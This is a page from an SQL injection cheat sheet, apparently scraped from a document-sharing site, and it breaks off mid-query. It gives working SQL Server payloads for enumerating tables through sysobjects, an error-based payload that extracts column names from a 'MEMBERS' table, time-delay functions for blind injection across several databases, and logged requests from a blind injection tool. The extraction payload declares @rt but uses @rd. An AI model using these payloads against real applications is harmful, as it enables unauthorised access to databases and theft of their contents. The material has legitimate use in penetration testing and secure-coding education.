Sql Injection Cheat Sheet Page 12
ADVERTISEMENT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18(SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE
i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as
int
Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM
sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from
sysobjects o WHERE o.xtype = 'U') as p where p.x=21
Fast way to extract data from Error Based SQL Injections in SQL Server
(S)
';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name
FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name =
'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--
Detailed Article :
Fast way to extract data from Error Based SQL Injections
Blind SQL Injections
About Blind SQL Injections
In a quite good production application generally you can not see error responses on
the page, so you can not extract data through Union attacks or error based attacks. You
have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind
Sql Injections.
Normal Blind, You can not see a response in the page but you can still determine result
of a query from response or HTTP status code
Totally Blind, You can not see any difference in the output in any kind. This can be an
injection a logging function or similar. Not so common though.
In normal blinds you can use if statements or abuse WHERE query in injection
(generally easier), in totally blinds you need to use some waiting functions and analyze
response times. For this you can use WAIT FOR DELAY '0:0:10' in SQL Server,
BENCHMARK() in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in
ORACLE.
Real and a bit Complex Blind SQL Injection Attack Sample
This output taken from a real private Blind SQL Injection tool while exploiting SQL
Server back ended application and enumerating table names. This requests done for first
char of the first table name. SQL queries a bit more complex then requirement because
of automation reasons. In we are trying to determine an ascii value of a char via binary
search algorithm.
TRUE and FALSE flags mark queries returned true or false.
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
ADVERTISEMENT
0 votes
Related Articles
Related forms
Related Categories
Parent category: Education